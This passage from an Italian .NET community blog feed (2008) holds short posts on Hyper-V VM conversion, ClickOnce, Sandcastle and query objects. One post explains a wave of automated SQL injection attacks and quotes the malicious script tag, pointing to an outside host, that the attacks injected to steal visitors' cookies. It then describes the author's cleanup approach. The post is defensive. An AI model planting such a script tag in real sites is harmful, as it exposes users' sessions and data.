&lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:3c0e94a2-6f6b-407c-baed-17c51e9b3d9b" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tag: &lt;a href="http://technorati.com/tags/generic.xaml" rel="tag"&gt;generic.xaml&lt;/a&gt;,&lt;a href="http://technorati.com/tags/silverlight%202b2" rel="tag"&gt;silverlight 2b2&lt;/a&gt;&lt;/div&gt;&lt;img src="http://blogs.ugidotnet.org/ThinkingInGrava/aggbug/93270.aspx" width="1" height="1" /&gt;</description><dc:creator>Gianluca Gravina</dc:creator></item><item><title>TaskDialog</title><link>http://blogs.ugidotnet.org/BabbaBlog/archive/2008/07/03/93267.aspx</link><pubDate>Thu, 03 Jul 2008 07:32:10 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/BabbaBlog/archive/2008/07/03/93267.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/BabbaBlog/comments/93267.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/BabbaBlog/comments/commentRss/93267.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/BabbaBlog/archive/2008/07/03/93267.aspx#comment</comments><slash:comments>0</slash:comments><trackback:ping>http://blogs.ugidotnet.org/BabbaBlog/services/trackbacks/93267.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/BabbaBlog/rss.aspx">TaskDialog</source><description>&lt;p&gt;Interessante dll con sorgenti per evolvere le ns. classiche Messagebox.&lt;/p&gt;  &lt;p&gt;Lo trovate a &lt;a href="http://code.msdn.microsoft.com/TaskDialogforWinForm" target="_blank"&gt;questo indirizzo&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.ongari.it/public/BabbaBlogUpload/TaskDialog_8515/TaskDialog.jpg"&gt;&lt;img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="328" alt="TaskDialog" src="http://www.ongari.it/public/BabbaBlogUpload/TaskDialog_8515/TaskDialog_thumb.jpg" width="404" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://blogs.ugidotnet.org/BabbaBlog/aggbug/93267.aspx" width="1" height="1" /&gt;</description><dc:creator>Paolo Ongari</dc:creator></item><item><title>Convertire una VM di Virtual Server 2005 o Virtual Pc in Hyper-V</title><link>http://blogs.ugidotnet.org/rcappe/archive/2008/07/02/93265.aspx</link><pubDate>Wed, 02 Jul 2008 22:40:46 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/rcappe/archive/2008/07/02/93265.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/rcappe/comments/93265.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/rcappe/comments/commentRss/93265.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/rcappe/archive/2008/07/02/93265.aspx#comment</comments><slash:comments>0</slash:comments><trackback:ping>http://blogs.ugidotnet.org/rcappe/services/trackbacks/93265.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/rcappe/rss.aspx">Convertire una VM di Virtual Server 2005 o Virtual Pc in Hyper-V</source><description>&lt;p&gt;&lt;/p&gt;  &lt;p&gt;Possiamo utilizzare le macchine virtuali create con “Virtual Server 2005”  e “Virtual Pc 2007” all’interno di Hyper-V seguendo alcuni accorgimenti.&lt;/p&gt;  &lt;p&gt;In questo post vedremo come partendo da una macchina virtuale, creata per lavorare con virtula pc possiamo trasformarla in una macchina per hyper-v.&lt;/p&gt;  &lt;p&gt;1) Individuiamo il file di disco della vm per Virtual Server o Virtual Pc che ha estensione .vhd&lt;/p&gt;  &lt;p&gt;2) Creiamo una nuova macchina virtuale nell’ambiente Hyper-V manager tramite i pulsanti New –&amp;gt; Virtual Machine&lt;/p&gt;  &lt;p&gt;Partirà una crazione guidata dove nella prima schemata specificheremo il nome della macchina virtuale e il percorso dove verrano memorizzati i file di configurazione.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/ConvertireunaVMdiVirtualServer2005oVirtu_B44/Untitled_4.jpg" target="_blank"&gt;&lt;img title="Untitled" style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="398" alt="Untitled" src="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/ConvertireunaVMdiVirtualServer2005oVirtu_B44/Untitled_thumb_1.jpg" width="544" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Indichiamo quanta memoria volgliamo assegnare alla macchina virtuale, il valore dipende dal sistema operativo virtuale e dalle caratteristiche hardware del pc host.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/ConvertireunaVMdiVirtualServer2005oVirtu_B44/Untitled1_4.jpg" target="_blank"&gt;&lt;img title="Untitled1" style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="398" alt="Untitled1" src="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/ConvertireunaVMdiVirtualServer2005oVirtu_B44/Untitled1_thumb_1.jpg" width="544" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Nella parte di configurazione della rete possiamo specificare già la rete virtuale se ne abbimo creata una oppure decidere di specificarla successivamente.   &lt;br /&gt;Nel nostro esempio andremo a configurarla dopo.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/ConvertireunaVMdiVirtualServer2005oVirtu_B44/image_2.png" target="_blank"&gt;&lt;img title="image" style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="398" alt="image" src="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/ConvertireunaVMdiVirtualServer2005oVirtu_B44/image_thumb.png" width="544" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Dovremo andare a indicare la posizione del file di disco che abbiamo identificato al punto 1.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/ConvertireunaVMdiVirtualServer2005oVirtu_B44/image_4.png" target="_blank"&gt;&lt;img title="image" style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="398" alt="image" src="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/ConvertireunaVMdiVirtualServer2005oVirtu_B44/image_thumb_1.png" width="544" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Ultima schermata di conferma dove scegliamo di non far partire ancora la macchina virtuale perchè prima dobbiamo configurare la rete.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/ConvertireunaVMdiVirtualServer2005oVirtu_B44/image_8.png" target="_blank"&gt;&lt;img title="image" style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="398" alt="image" src="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/ConvertireunaVMdiVirtualServer2005oVirtu_B44/image_thumb_3.png" width="544" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;3) Configuriamo ora la rete virtuale dal Hyper-v Manager.   &lt;br /&gt;Selezioniamo dal menu Virtual Network Manager, creiamo una nuova rete External e selezioniamo dalla dropdown la scheda di rete che volgiamo utilizzare.    &lt;br /&gt;Nel caso volessimo utilizzare una scheda di rete wireless vi rimando a &lt;a href="http://blogs.ugidotnet.org/rcappe/archive/2008/06/26/93190.aspx" target="_blank"&gt;questo articolo&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/ConvertireunaVMdiVirtualServer2005oVirtu_B44/image_10.png" target="_blank"&gt;&lt;img title="image" style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="484" alt="image" src="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/ConvertireunaVMdiVirtualServer2005oVirtu_B44/image_thumb_4.png" width="520" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;4) Adimao ad utilizare la rete virtuale appena crata, selezioniamo dal menu il pulsante Settings relativo allla nostra macchina virtuale.   &lt;br /&gt;In automatico Hyper-v ci crea un Network Adapter che possiamo configurare agganciandolo alla nostra rete.    &lt;br /&gt;In alcuni casi però, se il sistema operativo virtuale non riesce a riconoscere i driver per la scheda di rete, possiamo aggiungere un nuovo hardware di tipo Legacy Network Adapter per poter connettersi.     &lt;br /&gt;Una volta scaricati i driver è meglio eliminare la scheda legacy e utlizzare direttamente la Network Adapter.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/ConvertireunaVMdiVirtualServer2005oVirtu_B44/image_12.png" target="_blank"&gt;&lt;img title="image" style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="506" alt="image" src="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/ConvertireunaVMdiVirtualServer2005oVirtu_B44/image_thumb_5.png" width="544" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;5) Possiamo finalmente avviare la macchina host e come prima attività andremo a disinstallare la Virtual Machine Additions.&lt;/p&gt;  &lt;p&gt;6) Una volta riavviato il sistema possiamo installare Itegration Components tramite la voce di menu Action –&amp;gt; Insert Integration Service Setup Disk&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/ConvertireunaVMdiVirtualServer2005oVirtu_B44/image_16.png" target="_blank"&gt;&lt;img title="image" style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="400" alt="image" src="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/ConvertireunaVMdiVirtualServer2005oVirtu_B44/image_thumb_7.png" width="544" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;7) Completa la prima fase dell’istallazione ci verrà chiesto di riavviare e verrannno eseguiti 3 aggiornamenti sul sistema operativo.&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;8) A questo punto se tutto è andato a buon file la nosta macchina vitruale è pronta all’uso&lt;/p&gt;&lt;img src="http://blogs.ugidotnet.org/rcappe/aggbug/93265.aspx" width="1" height="1" /&gt;</description><dc:creator>Roberto Cappelletti</dc:creator></item><item><title>Sandcastle torna su CodePlex</title><link>http://blogs.ugidotnet.org/marcom/archive/2008/07/02/93263.aspx</link><pubDate>Wed, 02 Jul 2008 19:12:23 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/marcom/archive/2008/07/02/93263.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/marcom/comments/93263.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/marcom/comments/commentRss/93263.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/marcom/archive/2008/07/02/93263.aspx#comment</comments><slash:comments>0</slash:comments><trackback:ping>http://blogs.ugidotnet.org/marcom/services/trackbacks/93263.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/marcom/rss.aspx">Sandcastle torna su CodePlex</source><description>&lt;p&gt;Dopo qualche tempo di "indecisione", &lt;a href="http://www.codeplex.com/Sandcastle" target="_blank"&gt;&lt;strong&gt;Sandcastle&lt;/strong&gt;&lt;/a&gt; è tornato su &lt;a href="http://www.codeplex.com" target="_blank"&gt;CodePlex&lt;/a&gt;... Come molti di voi avranno intuito, questo significa che il team di sviluppo ha deciso di rilasciare anche il codice sorgente.&lt;/p&gt; &lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:00e055f3-40d7-4bb9-85a2-cd5543cd27f6" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/.NET" rel="tag"&gt;.NET&lt;/a&gt;, &lt;a href="http://technorati.com/tags/Programming" rel="tag"&gt;Programming&lt;/a&gt;, &lt;a href="http://technorati.com/tags/Tools" rel="tag"&gt;Tools&lt;/a&gt;&lt;/div&gt;&lt;img src="http://blogs.ugidotnet.org/marcom/aggbug/93263.aspx" width="1" height="1" /&gt;</description><dc:creator>Marco Minerva</dc:creator></item><item><title>Copia/incolla in una GridView</title><link>http://blogs.ugidotnet.org/marcom/archive/2008/07/02/93262.aspx</link><pubDate>Wed, 02 Jul 2008 16:48:17 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/marcom/archive/2008/07/02/93262.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/marcom/comments/93262.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/marcom/comments/commentRss/93262.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/marcom/archive/2008/07/02/93262.aspx#comment</comments><slash:comments>0</slash:comments><trackback:ping>http://blogs.ugidotnet.org/marcom/services/trackbacks/93262.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/marcom/rss.aspx">Copia/incolla in una GridView</source><description>&lt;p&gt;Girando sulla rete alla ricerca di documentazione, sono incappato in un post dal titolo &lt;a href="http://visualcsharp.it/2008/05/10/copiaincolla-in-datagridview/" target="_blank"&gt;Copia/Incolla in DataGridView&lt;/a&gt;, in cui viene spiegato chiaramente e con l'ausilio di esempi di codice come aggiungere questa funzionalità al controllo in questione.&lt;/p&gt; &lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:406fb563-85b7-49a4-a500-b6c85f619e01" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/.NET" rel="tag"&gt;.NET&lt;/a&gt;, &lt;a href="http://technorati.com/tags/Programming" rel="tag"&gt;Programming&lt;/a&gt;, &lt;a href="http://technorati.com/tags/ASP%20.NET" rel="tag"&gt;ASP .NET&lt;/a&gt;&lt;/div&gt;&lt;img src="http://blogs.ugidotnet.org/marcom/aggbug/93262.aspx" width="1" height="1" /&gt;</description><dc:creator>Marco Minerva</dc:creator></item><item><title>ReportViewer, ClickOnce e ADODB</title><link>http://blogs.ugidotnet.org/ddl/archive/2008/07/02/reportviewer-clickonce-e-adodb.aspx</link><pubDate>Wed, 02 Jul 2008 15:10:37 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/ddl/archive/2008/07/02/reportviewer-clickonce-e-adodb.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/ddl/comments/93261.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/ddl/comments/commentRss/93261.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/ddl/archive/2008/07/02/reportviewer-clickonce-e-adodb.aspx#comment</comments><slash:comments>0</slash:comments><trackback:ping>http://blogs.ugidotnet.org/ddl/services/trackbacks/93261.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/ddl/rss.aspx">ReportViewer, ClickOnce e ADODB</source><description>&lt;p&gt;Altro memo veloce a futura memoria. Se pubblicate un programma che usa ReportViewer con ClickOnce potreste ottenere una segnalazione di questo tipo durante il deployment sui clients:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt; &lt;strong&gt;"Unable to install or run the application.   The application requies the assembly ADODB 7.0.3300 to be installed in the Global Assembly Cache (GAC) first."&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Questo perchè ClickOnce, dopo l'inserimento di un report, considera necessario tra i pre-requisiti anche ADODB.dll...&lt;/p&gt;
&lt;p&gt;Basta toglierlo &lt;em&gt;a mano&lt;/em&gt; dai pre-requisiti di ClickOnce e ri-pubblicare l'applicazione e il gioco è fatto.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/ddl/WindowsLiveWriter/ReportViewerClickOnceeADODB_E602/ADODB_2.jpg"&gt;&lt;img style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px" height="88" alt="ADODB" width="521" border="0" src="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/ddl/WindowsLiveWriter/ReportViewerClickOnceeADODB_E602/ADODB_thumb.jpg" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;P.S. Se pubblicate applicazioni che usano questo componente vi può venir utile il &lt;a target="_blank" href="http://www.microsoft.com/downloads/details.aspx?FamilyID=CC96C246-61E5-4D9E-BB5F-416D75A1B9EF&amp;amp;displaylang=en"&gt;Microsoft Report Viewer 2008 Redistributable Package&lt;/a&gt;&lt;/p&gt;
&lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:9e3cbfd7-832a-4f5f-917f-247ff389a68a" style="PADDING-RIGHT: 0px; DISPLAY: inline; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-TOP: 0px"&gt;Technorati Tag: &lt;a rel="tag" href="http://technorati.com/tags/ReportViewer"&gt;ReportViewer&lt;/a&gt;,&lt;a rel="tag" href="http://technorati.com/tags/.NET"&gt;.NET&lt;/a&gt;,&lt;a rel="tag" href="http://technorati.com/tags/ClickOnce"&gt;ClickOnce&lt;/a&gt;&lt;/div&gt;&lt;img src="http://blogs.ugidotnet.org/ddl/aggbug/93261.aspx" width="1" height="1" /&gt;</description><dc:creator>Nazareno</dc:creator></item><item><title>Pubblicato il mio articolo sul riconoscimento vocale</title><link>http://blogs.ugidotnet.org/marcom/archive/2008/07/02/93259.aspx</link><pubDate>Wed, 02 Jul 2008 12:08:31 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/marcom/archive/2008/07/02/93259.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/marcom/comments/93259.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/marcom/comments/commentRss/93259.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/marcom/archive/2008/07/02/93259.aspx#comment</comments><slash:comments>2</slash:comments><trackback:ping>http://blogs.ugidotnet.org/marcom/services/trackbacks/93259.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/marcom/rss.aspx">Pubblicato il mio articolo sul riconoscimento vocale</source><description>&lt;p&gt;&lt;img style="MARGIN: 0px 10px 0px 0px" height="240" width="175" align="left" alt="" src="http://www.edmaster.it/img/prodotti/copertine/4-128g.jpg" /&gt; Sul numero di Luglio di &lt;a target="_blank" href="http://www.ioprogrammo.it/"&gt;ioProgrammo&lt;/a&gt; è stato pubblicato un mio articolo sul riconoscimento vocale con .NET 3.0. Il taglio è molto pratico, dopo una breve introduzione passo subito ad illustrare il funzionamento delle principali classi del namespace &lt;em&gt;System.Speech&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;E' stata la mia prima esperienza su una rivista cartacea (finora ho collaborato solo con testate online, come &lt;a target="_blank" href="http://www.html.it"&gt;HTML.it&lt;/a&gt;), ma spero che questo articolo sia l'inizio di una lunga serie &lt;img alt="Tongue out" src="http://messenger.msn.com/MMM2006-04-19_17.00/Resource/emoticons/tongue_smile.gif" /&gt;&lt;/p&gt;
&lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:cd206d60-6e6e-4b47-a424-036cae0d57bf" style="PADDING-RIGHT: 0px; DISPLAY: inline; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-TOP: 0px"&gt;Technorati Tags: &lt;a rel="tag" href="http://technorati.com/tags/.NET"&gt;.NET&lt;/a&gt;, &lt;a rel="tag" href="http://technorati.com/tags/Programming"&gt;Programming&lt;/a&gt;, &lt;a rel="tag" href="http://technorati.com/tags/CS"&gt;C#&lt;/a&gt;&lt;/div&gt;&lt;img src="http://blogs.ugidotnet.org/marcom/aggbug/93259.aspx" width="1" height="1" /&gt;</description><dc:creator>Marco Minerva</dc:creator></item><item><title>Sql Injection  Cross Site Scripting</title><link>http://blogs.ugidotnet.org/dcampanella/archive/2008/07/02/93258.aspx</link><pubDate>Wed, 02 Jul 2008 10:48:31 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/dcampanella/archive/2008/07/02/93258.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/dcampanella/comments/93258.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/dcampanella/comments/commentRss/93258.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/dcampanella/archive/2008/07/02/93258.aspx#comment</comments><slash:comments>0</slash:comments><trackback:ping>http://blogs.ugidotnet.org/dcampanella/services/trackbacks/93258.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/dcampanella/rss.aspx">Sql Injection  Cross Site Scripting</source><description>&lt;p&gt;&lt;strong&gt;Problem.&lt;br /&gt;
&lt;/strong&gt;&lt;br /&gt;
Ultimamente si stanno verificando attacchi massivi che bucano soprattutto i siti sviluppati con il vecchio ASP. Ma non solo, anche ASP.Net è vulnerabile ad attacchi che si verificano da qualche mese e che stanno causando grossi problemi a portali di aziende organizzazioni importanti di tutto il mondo.&lt;br /&gt;
&lt;br /&gt;
Questo attacco prevede:&lt;/p&gt;
&lt;p&gt;- la scansione dei parametri utilizzati nelle pagine (get e post)&lt;br /&gt;
- la valorizzazione di tali paramentri con comandi sql scritti in codice binario&lt;br /&gt;
- la conseguente esecuzione dei comandi sql che non fanno altro che appendere, in tutti i campi testuali, un tag html come ad esempio &lt;font face="Arial"&gt;"&amp;amp;lt;script src=http://www.pingbnr.com/b.js&amp;amp;gt; &amp;amp;lt;/script&amp;amp;gt;" &lt;br /&gt;
&lt;br /&gt;
L'effetto è che quando gli utenti accedono al sito viene eseguita una chiamata cross site scripting al file js (sia che la pagina si veda sia che la pagina non si veda in quanto spaccata dal tag - pensate ad una drop down list che carica il valore dal db) , che non fa altro che scrivere un iframe. E' proprio la pagina richiamata dall'iframe che legge tutti i contenuti del cookie dell'utente. La conseguenza si può benissimo intuire: centinaia di migliaia di dati degli utenti salvati nel database degli hackers.&lt;br /&gt;
&lt;br /&gt;
Per saperne di più &lt;font face="Arial"&gt;&lt;a href="http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx"&gt;http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face="Arial"&gt;&lt;strong&gt;Solutions.&lt;br /&gt;
&lt;br /&gt;
&lt;/strong&gt;1) La soluzione a questo tipo di attacco è proprio quella di proteggere e controllare i campi utili a costruire la sintassi sql (cosa che ho automatizzato già da un pò di tempo con una dll com+ per i siti asp e ultimamente con una dll .net per i siti asp.net) . &lt;br /&gt;
Microsoft, dopo aver notato la crescita di questo tipo di attacco mette a disposizione un tool che verifica l'intrusività del codice sviluppato &lt;font face="Arial"&gt;&lt;a href="http://blog.html.it/archivi/2008/06/27/un-tool-microsoft-contro-la-sql-injection.php"&gt;http://blog.html.it/archivi/2008/06/27/un-tool-microsoft-contro-la-sql-injection.php&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face="Arial"&gt;Ovviamente proteggere le applicazioni richiedono anche tempo e denaro. Il cliente non ha però scelta, deve investire in questo. &lt;br /&gt;
&lt;br /&gt;
2) Chi gestisce i siti dei clienti si ritrovano però a far fronte ad azioni molto più immediate rispetto al lavoro di coprire le falle, proprio per evitare il down prolungato delle loro applicazioni.&lt;br /&gt;
Per questo motivo e per le vicissitudini vissute in prima persona vorrei condividere il mio intervento su un cliente. &lt;br /&gt;
Il problema principale è stato appunto quello di ripulire il codice maligno dalle tabelle.  Ripristinare un backup del database non è sempre la soluzione migliore anche perché:&lt;br /&gt;
&lt;/font&gt;&lt;font face="Arial"&gt;&lt;br /&gt;
- l'attacco può essere avvenuto in giorni diversi e quindi è difficile stabilire il backup opportuno&lt;br /&gt;
- il cliente può aver aggiornato contenuti durante i giorni di presenza dello script maligno&lt;br /&gt;
- finché non si implementa la sicurezza delle pagine il sito è a rischio quotidiano di nuovi attacchi&lt;br /&gt;
 &lt;br /&gt;
In questi casi rimane che ripulire il codice e monitorare l'applicazione. Ho pertanto implementato una procedura (riutilizzando proprio lo script di chi ha attaccato) che, sfruttando le tabelle di sistema, non fa altro che scandire tutti i campi testuali di tutte le tabelle e rimuovere gli script maligni. Tali script vengono enumerati a loro volta in una tabella degli script maligni e quindi eliminati attraverso l'esecuzione di una stored procedure.&lt;br /&gt;
&lt;br /&gt;
Inoltre, attraverso un job schedulato di sql, è possibile automatizzare l'intervento quotidianamente, finchè non viene rilasciata la release sicura dell'applicazione.&lt;br /&gt;
&lt;br /&gt;
Un'altra azione da fare è di negare all'utente di sql, utilizzato per interagire con le tabella della vostra applicazione,  l'accesso alle tabelle di sistema. In questa maniera non si dà la possibilità di scandire le tabelle del database.&lt;br /&gt;
&lt;br /&gt;
A chi fosse interessato posso inviare l'intero script sql che ripulisce il database del codice maligno. &lt;br /&gt;
&lt;/font&gt;&lt;/p&gt;&lt;img src="http://blogs.ugidotnet.org/dcampanella/aggbug/93258.aspx" width="1" height="1" /&gt;</description><dc:creator>Dario Campanella</dc:creator></item><item><title>Community Days: da Query Object a O/RM</title><link>http://blogs.ugidotnet.org/pape/archive/2008/07/02/community-days-da-query-object-a-orm.aspx</link><pubDate>Wed, 02 Jul 2008 09:24:42 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/pape/archive/2008/07/02/community-days-da-query-object-a-orm.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/pape/comments/93256.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/pape/comments/commentRss/93256.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/pape/archive/2008/07/02/community-days-da-query-object-a-orm.aspx#comment</comments><slash:comments>3</slash:comments><trackback:ping>http://blogs.ugidotnet.org/pape/services/trackbacks/93256.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/pape/rss.aspx">Community Days: da Query Object a O/RM</source><description>&lt;p&gt;Ok, sembra che il &lt;a href="http://www.manageddesigns.it/news/detail.aspx?ID=6e0c2851-be93-4cb2-bb3e-334063bbc73d" target="_blank"&gt;corso&lt;/a&gt; di settimana scorsa sia &lt;a href="http://blogs.ugidotnet.org/Nick60/archive/2008/06/27/93200.aspx" target="_blank"&gt;piaciuto&lt;/a&gt; e che, per l'ennesima volta, il tempo non sia stato sufficiente, giacchè Alessio &lt;a href="http://blogs.ugidotnet.org/Nick60/archive/2008/06/27/93200.aspx#1376947" target="_blank"&gt;avrebbe gradito un approfondimento&lt;/a&gt; sul tema "Query Object". Provo a "rimediare" :-)&lt;/p&gt;  &lt;p&gt;In realtà la richiesta di Alessio sottointende 3 distinte tematiche:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;"Query Object": chi era costui? &lt;/li&gt;    &lt;li&gt;Implementazione "hand made" di un DAL capace di gestire in maniera sensata la persistenza di un DM &lt;/li&gt;    &lt;li&gt;Produzione "al volo" del codice SQL &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;Andiamo in ordine: il design pattern &lt;a href="http://martinfowler.com/eaaCatalog/queryObject.html" target="_blank"&gt;query object&lt;/a&gt; è una specializzazione di &lt;a href="http://wiki.ugidotnet.org/default.aspx/UGIdotNETWiki/PatternInterpreter.html" target="_blank"&gt;Interpreter&lt;/a&gt; che si pone l'obbiettivo di definire un object model in grado di rappresentare una query SQL. Ciò significa, in pratica, permettere ad un sistema di produrre a runtime un grafo che definisca una query che il DAL si preoccuperà di eseguire restituendone il risultato. "Sbarazzandosi" da un punto di vista logico di SQL, il nostro sistema guadagna potenzialmente l'indipendenza da uno specifico RDBMS o, volendo estremizzare, da una specifica tecnologia/architettura di persistenza. Esempi di query object sono la Criteria API di (N)Hibernate o, se volete un esempio più semplice, il query model di &lt;a href="http://www.codeplex.com/NSK" target="_blank"&gt;&lt;strong&gt;NSK&lt;/strong&gt;&lt;/a&gt; che è stato espressamente pensato per risultare "digeribile", pur rununciando all'obbiettivo di poter rappresentare il 100% delle query. Infine, LINQ è *il* query model idiomatico offerto dai compilatori "2008" di C# e VB (ricordiamo che un "idioma" è un omologo "technology specific" di un design pattern)&lt;/p&gt;  &lt;p&gt;Disporre di un query model è però solo l'inizio, poichè occorre "qualcuno" in grado di eseguirlo: questo "qualcuno" è il DAL. E qui le strade sono fondamentalmente 2: a valle del parsing del grafo ottenuto istanziando il "query object", il codice SQL lo scriviamo noi o cerchiamo di produrlo "al volo".&lt;/p&gt;  &lt;p&gt;Nel primo caso, indipendentemene dal fatto che SQL sia "embedded" nella applicazione o "confinato" nelle stored procedure, ci si accorge presto che, usando un DM, il DAL dovrebbe offrire servizi quali: gestione della concorrenza, lazy load...&lt;/p&gt;  